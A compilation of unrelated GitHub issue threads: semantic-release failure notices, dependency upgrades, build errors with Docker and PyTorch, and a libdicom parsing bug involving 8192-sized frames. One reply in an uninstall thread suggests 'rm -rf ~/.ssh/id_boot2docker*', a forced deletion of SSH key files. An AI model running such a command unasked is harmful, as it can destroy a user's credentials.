I recommend you give this issue a high priority, so other packages depending on you can benefit from your bug fixes and new features again.
You can find below the list of errors reported by semantic-release. Each one of them has to be resolved in order to automatically publish your package. I’m sure you can fix this 💪.
Errors are usually caused by a misconfiguration or an authentication problem. With each error reported below you will find explanation and guidance to help you to resolve it.
Once all the errors are resolved, semantic-release will release your package the next time you push a commit to the develop branch. You can also manually restart the failed CI job that runs semantic-release.
If you are not sure how to resolve this, here are some links that can help you:

Usage documentation
Frequently Asked Questions
Support channels

If those don’t help, or if this issue is reporting something you think isn’t right, you can always ask the humans behind semantic-release.

Environment variable not found: GOOGLE_CLIENT_ID. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Environment variable not found: GOOGLE_CLIENT_SECRET. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Environment variable not found: GOOGLE_REFRESH_TOKEN. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Good luck with your project ✨
Your semantic-release bot :package::rocket:

:rotating_light: The automated release from the develop branch failed. :rotating_light:
I recommend you give this issue a high priority, so other packages depending on you can benefit from your bug fixes and new features again.
You can find below the list of errors reported by semantic-release. Each one of them has to be resolved in order to automatically publish your package. I’m sure you can fix this 💪.
Errors are usually caused by a misconfiguration or an authentication problem. With each error reported below you will find explanation and guidance to help you to resolve it.
Once all the errors are resolved, semantic-release will release your package the next time you push a commit to the develop branch. You can also manually restart the failed CI job that runs semantic-release.
If you are not sure how to resolve this, here are some links that can help you:

Usage documentation
Frequently Asked Questions
Support channels

If those don’t help, or if this issue is reporting something you think isn’t right, you can always ask the humans behind semantic-release.

Environment variable not found: GOOGLE_CLIENT_ID. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Environment variable not found: GOOGLE_CLIENT_SECRET. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Environment variable not found: GOOGLE_REFRESH_TOKEN. Check the README.md for config info.
Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Good luck with your project ✨
Your semantic-release bot :package::rocket:

:rotating_light: The automated release from the develop branch failed. :rotating_light:
I recommend you give this issue a high priority, so other packages depending on you can benefit from your bug fixes and new features again.
You can find below the list of errors reported by semantic-release. Each one of them has to be resolved in order to automatically publish your package. I’m sure you can fix this 💪.
Errors are usually caused by a misconfiguration or an authentication problem. With each error reported below you will find explanation and guidance to help you to resolve it.
Once all the errors are resolved, semantic-release will release your package the next time you push a commit to the develop branch. You can also manually restart the failed CI job that runs semantic-release.
If you are not sure how to resolve this, here are some links that can help you:

Usage documentation
Frequently Asked Questions
Support channels

If those don’t help, or if this issue is reporting something you think isn’t right, you can always ask the humans behind semantic-release.

The manifest has an invalid version: 1.0.0-beta.3. Please format the version as defined
   here.

Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Good luck with your project ✨
Your semantic-release bot :package::rocket:

:rotating_light: The automated release from the develop branch failed. :rotating_light:
I recommend you give this issue a high priority, so other packages depending on you can benefit from your bug fixes and new features again.
You can find below the list of errors reported by semantic-release. Each one of them has to be resolved in order to automatically publish your package. I’m sure you can fix this 💪.
Errors are usually caused by a misconfiguration or an authentication problem. With each error reported below you will find explanation and guidance to help you to resolve it.
Once all the errors are resolved, semantic-release will release your package the next time you push a commit to the develop branch. You can also manually restart the failed CI job that runs semantic-release.
If you are not sure how to resolve this, here are some links that can help you:

Usage documentation
Frequently Asked Questions
Support channels

If those don’t help, or if this issue is reporting something you think isn’t right, you can always ask the humans behind semantic-release.

The manifest has an invalid version: 1.0.0-beta.4. Please format the version as defined
   here.

Unfortunately this error doesn't have any additional information. Feel free to kindly ask the author of the semantic-release-chrome plugin to add more helpful information.

Good luck with your project ✨
Your semantic-release bot :package::rocket:


I'm Google colab user.I'm looking forward for a web version.

Hi there.
I'm Google colab user.I'm looking forward for a google colab/Kaggle version to run this project.

https://github.com/Linaqruf/kohya-trainer
This is a fork that support Google Colab.


upgrade denendencies

What have you changed? (mandatory)
upgrade following dependencies:
regex(0.1 to 1.2)
chrono(0.4 to 0.4.5)
clap(2 to 2.32.0)
signal(0.4 to 0.6.0)
serde_json(1.0 to 1.0.26)
byteorder(0.5 to 1.2.4)
crc(1.2 to 1.8.1)
nix(0.9.0 to 0.11.0)
crossbeam-channel(0.2 to 0.2.4)
I upgrade some denendencies to reduce dependency version conflicts, due to  #3146
there still some conflicts, blocked by mio(will be removed when threaded raftstore is landed),
prometheus, raft, and fail(these three need to upgrade dependeneis first).
What are the type of the changes? (mandatory)
Improvement
How has this PR been tested? (mandatory)
unit test
Does this PR affect documentation (docs/docs-cn) update? (mandatory)
No
Does this PR affect tidb-ansible update? (mandatory)
No

Please fix the conflict.

Thanks a lot! For prometheus, you can send us PRs as well! https://github.com/pingcap/rust-prometheus  Also please resolve conflicts.

conflicts fixed

/run-integration-tests

@hicqu PTAL


Backend API: Flask upgrade and pytest updates

@sumathi-thirumani-aot -  great work! All seems to be functioning as it should!


Is there a file named ralf_llcc68.c?

Hello,
I am trying to apply this project to LLCC68 radio chip. However, when I read through lbm_lib\smtc_modem_core\smtc_ralf\src, there is no files like ralf_llcc68.c, while in smtc_ral\src, I could see both ral_sx126x.c and ral_llcc68.c. I'm wondering if I need to create ralf_llcc68.c by myself, or just there is no need for ralf_llcc68.c.
If anybody has any insight, help is greatly appreciated.
Thanks.

Hello,
There is no plan to officially support the llcc68 with LBM.
Best


Docker Successfully Executed but not able to launch tool.

Hi,
I followed the docker deployment steps:

git cloned the repo
add remote machine ip. for example if the ip is 192.X.X.4 in docker-compose.yml i edited the BACKEND_URL=http://<IP_ADDRESS>: to BACKEND_URL=http://192.X.X.4:8000
sudo docker-compose up -d

But when i browse to http://192.X.X.4:3000 i am unable to access the tool and it keeps loading.

Hello SanketBaraiya,
Please clone the latest version of this repository and run docker compose build to rebuild the image and check if it works now.

63.63   Getting requirements to build wheel: finished with status 'done'
63.64   Preparing metadata (pyproject.toml): started
63.87   Preparing metadata (pyproject.toml): finished with status 'error'
63.91   error: subprocess-exited-with-error
63.91
63.91   × Preparing metadata (pyproject.toml) did not run successfully.
63.91   │ exit code: 1
63.91   ╰─> [6 lines of output]
63.91
63.91       Cargo, the Rust package manager, is not installed or is not on PATH.
63.91       This package requires Rust and Cargo to compile extensions. Install it through
63.91       the system's package manager or via https://rustup.rs/
63.91
63.91       Checking for Rust toolchain....
63.91       [end of output]
63.91
63.91   note: This error originates from a subprocess, and is likely not a problem with pip.
64.70 error: metadata-generation-failed
64.70
64.70 × Encountered error while generating package metadata.
64.70 ╰─> See above for output.
64.70
64.70 note: This is an issue with the package mentioned above, not pip.
64.70 hint: See above for details.
failed to solve: process "/bin/sh -c pip install --no-cache-dir --upgrade -r /backend/requirements.txt" did not complete successfully: exit code: 1

I have the same problem


When to support lumen5.2.、lumen5.3？

When to support lumen5.2.、lumen5.3？

@shulinqian Lumen 5.2 is already supported, Lumen 5.3 will come soon, now that it has been tagged, but can't promise it'll make it in by version 1.0.0


Uninstall script?

Any thoughts to packaging in or providing an uninstall script?

And keys:
rm -rf ~/.ssh/id_boot2docker*

@karantir that was already covered in uninstall.sh


adjusts status of links controlled by junction pressures after a hydraulic solution is found

two changes in this commit:

add the return type as boolean for method Control::applyPressureControls(Network* network) to return true if status of any link changes
apply the pressure controls after a hydraulic solution is found (the GGASolver has converged)

@LRossman Would you please take a review? Thanks.
Btw, our team are developing a Windows GUI software based on EPANET 3. It is free. It can be accessed at https://github.com/WaterDesk/WaterDesk-WS, if you are interested. Any suggestion will be appreciated. The software supports both English and Chinese, but the English manual are not ready.

@WaterDesk I am no longer merging pull requests into the master branch. Please re-submit your request to the dev branch.
I have also cautioned you numerous times not to use this version of EPANET in any production code as it has not been thoroughly tested and will likely see significant changes or even be abandoned sometime in the future. If you do use our code please observe its copyright and license agreement.

@LRossman I changed the PR to request merge to develop branch.
We always take copyright very seriously. We released a new version (1.4.0) with all open source licenses just now, actually it‘s been on our to-do list since the beginning. Thank you very much for your reminding.
During the developing and researching, we found some issues that other users of the code may meet too. We want to share our solutions to avoid duplicated work on same issues.

@WaterDesk thanks for your contribution.


ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.

os: ubuntu18.04
python:3.7
CUDA:10.0
cuDNN: 7.6
pytorch: 1.2
Hi, when I execute the command:
sh make.sh

I got errors:
error: command 'gcc' failed with exit status 1
rm: cannot remove 'model/nms/src/*.o': No such file or directory
rm: cannot remove 'model/roi_pooling/src/*.o': No such file or directory
rm: cannot remove 'model/roi_align/src/*.o': No such file or directory
rm: cannot remove 'model/roi_crop/src/*.o': No such file or directory
rm: cannot remove 'model/psroi_pooling/src/cuda/*.o': No such file or directory
Compiling nms kernels by nvcc...
Traceback (most recent call last):
  File "build.py", line 4, in <module>
    from torch.utils.ffi import create_extension
  File "/media/gaoya/disk/Applications/anaconda3/lib/python3.7/site-packages/torch/utils/ffi/__init__.py", line 1, in <module>
    raise ImportError("torch.utils.ffi is deprecated. Please use cpp extensions instead.")
ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
Compiling roi pooling kernels by nvcc...
Traceback (most recent call last):
  File "build.py", line 4, in <module>
    from torch.utils.ffi import create_extension
  File "/media/gaoya/disk/Applications/anaconda3/lib/python3.7/site-packages/torch/utils/ffi/__init__.py", line 1, in <module>
    raise ImportError("torch.utils.ffi is deprecated. Please use cpp extensions instead.")
ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
Compiling roi align kernels by nvcc...
Traceback (most recent call last):
  File "build.py", line 4, in <module>
    from torch.utils.ffi import create_extension
  File "/media/gaoya/disk/Applications/anaconda3/lib/python3.7/site-packages/torch/utils/ffi/__init__.py", line 1, in <module>
    raise ImportError("torch.utils.ffi is deprecated. Please use cpp extensions instead.")
ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
Compiling roi crop kernels by nvcc...
Traceback (most recent call last):
  File "build.py", line 4, in <module>
    from torch.utils.ffi import create_extension
  File "/media/gaoya/disk/Applications/anaconda3/lib/python3.7/site-packages/torch/utils/ffi/__init__.py", line 1, in <module>
    raise ImportError("torch.utils.ffi is deprecated. Please use cpp extensions instead.")
ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
Compiling psroi pooling kernels by nvcc...
Traceback (most recent call last):
  File "build.py", line 3, in <module>
    from torch.utils.ffi import create_extension
  File "/media/gaoya/disk/Applications/anaconda3/lib/python3.7/site-packages/torch/utils/ffi/__init__.py", line 1, in <module>
    raise ImportError("torch.utils.ffi is deprecated. Please use cpp extensions instead.")
ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.

Can someone tell me how can I fix this problem?

@ouening Using pytorch 0.3.1 will fix this.

@ouening Using pytorch 0.3.1 will fix this.

Yeah I know downgrading to 0.4 can fix it , but it's not the best solution. I think we should modify the file build.py in lib/model/nms,lib/model/roi-align and so on.
From the solution in https://blog.csdn.net/ShuqiaoS/article/details/88420326 :
change
from torch.utils.ffi import create_extension
to
from torch.utils.cpp_extension import BuildExtension
and change
ffi = create_extension(...) to ffi = BuildExtension(...)
but other errors happened!
I have no knowledge of cuda ,pytorch extension and write a build file, so hope someone can fix this problem

Is there someone who fixed this???


✨ Implement get_slot() and get_epoch()

✨ Feature

We need query functions to determine the current slot and epoch based on block height of the Cosmos chain. In the future we will use these functions for posting batches.
Motivation

Slots are time windows in which batches (of data requests) can be posted (i.e. 1 batch per slot). After x slots, a new epoch occurs and a new committee of data request resolvers is selected.
Implementation

Create new constants:

COSMOS_BLOCKS_PER_SEDA_SLOT
SLOTS_PER_EPOCH

Create new pure functions:

get_slot(block_height: u64)
get_epoch(block_height: u64)

Create new non-pure functions that use the BlockInfo to get the current block height:

get_current_slot()
get_current_epoch()

No longer relevant.


Responsive improvements

Small problem in last commit: page.css now a small problems with the final }...

Fixed in 3fb84c1eda02cd9811c8e26216f53ea5bc3a0673


Problem with 8192 Size in Rows and Columns Being Considered as Empty

When setting the size of Rows and Columns to 8192, they are considered empty.
If I set the size to 8191, OpenSlide processes the image correctly.
However, when the size is set to 8192, the following error is returned:
openslide.lowlevel.OpenSlideError: libdicom Parse error: Frame read failed - Value of 'Columns' or 'Rows' is out of range.

I reviewed the following source code:
https://github.com/ImagingDataCommons/libdicom/blob/main/src/dicom-parse.c#L619
if (length > 0) {
    if (vr != DCM_VR_UI) {
        if (isspace(value[length - 1])) {
            value[length - 1] = '\0';
        }
    }
}

This code uses isspace to check whether the character is a space (0x20).
Since 8192 in hexadecimal is 0x2000, could it be that this value is incorrectly being interpreted as zero?

I created a DICOM file with each frame having a size of 8192, and with two frames each for rows and columns.
When I try to open this file with libdicom via OpenSlide, I get the error message: "libdicom Parse error: Frame read failed - Value of 'Columns' or 'Rows' is out of range."
I have attached the DICOM file I created; could you please take a look at it?
H00-0008k-01-01_40x.zip

Hello @y-baba-isb, I'm very sorry for the slow reply, your mail dropped off my todo list, unfortunately.
I'll look into your issue now.

You were absolutely right, we were accidentally trimming space characters from the end of numeric fields. I've made a PR and credited you.
Thank you for your patience, and thanks for reporting this!
This fix will be in 1.2, in a month or so.

... I'll close, let's continue any discussion in the PR.